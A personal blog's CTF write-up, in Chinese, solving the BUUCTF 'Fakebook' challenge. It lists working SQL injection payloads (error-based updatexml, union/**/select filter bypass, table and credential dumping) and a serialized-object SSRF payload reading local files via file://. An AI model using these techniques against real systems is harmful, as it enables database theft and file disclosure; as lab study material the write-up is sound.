Z1d10tのBlog

A note for myself,have fun!

buuctf [网鼎杯 2018]Fakebook

日常访问robots.txt文件

robots.txt 文件规定了搜索引擎抓取工具可以访问您网站上的哪些网址。

发现有个文件可以打开

附上源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php


class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}

是一个php写的类 然后用了curl

curl:https://blog.csdn.net/yangyu112654374/article/details/4658854

然后发现有 $output = curl_exec($ch) 可以将类中blog重新构造用来执行ssrf漏洞

https://xz.aliyun.com/t/11215 直接看大佬的总结

申请一个账号进入可以看到存在sql注入

img

判断是什么类型注入

no=1 and 1=1# 可以

no=1 and 1=2# 不行

说明这是数字注入

?no=0 order by 4# 四列

报错注入(这里比较推荐报错 联合查询的话一开始找不到回显点 可能是我眼瞎)

其实是过滤了 union selectunion/**/select 绕过就行

1 and updatexml(1,concat('~',database(),'~'),3)# 注意~ 不能用十六进制的 0x7e 这里有检测 用回原型好就行

[*] query error! (XPATH syntax error: ‘fakebook‘)

1
1 and updatexml(1,concat('~',select user(),'~'),3)# 

联合注入

1
?no=-1 union/**/select 1,database(),3,4#

fakebook

1
?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'#

users

1
?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'#

no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS

?no=-1 union/**/select 1,group_concat(no,username,passwd,data),3,4 from users#

1admin3c9909afec25354d551dae21590bb26e38d53f2173b8d3dc3eee4c047e7ab1c1eb8b85103e3be7ba613b31bb5c9c36214dc9f14a42fd7a2fdb84856bca5c44c2O:8:”UserInfo”:3:{s:4:”name”;s:5:”admin”;s:3:”age”;i:1;s:4:”blog”;s:11:”www.123.com";}

利用ssrf漏洞 读取内容

构造类里的 blog属性值为 s:29:"file:///var/www/html/flag.php"

构造payload: ?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

得到base64码

1
PD9waHANCg0KJGZsYWcgPSAiZmxhZ3s1MTkzODdkNS02OWQ2LTQ0OGEtYWQyZS0wODgxYmJkOThiNDl9IjsNCmV4aXQoMCk7DQo=
1
?no=-1 union/**/select 1,load_file('/var/www/html/flag.php'),3,4#
之前看到用户是管理员 所以联想到用load_file函数 去这里看https://www.cnblogs.com/junlebao/p/14104036.html
本文最后更新于 天前,文中所描述的信息可能已发生改变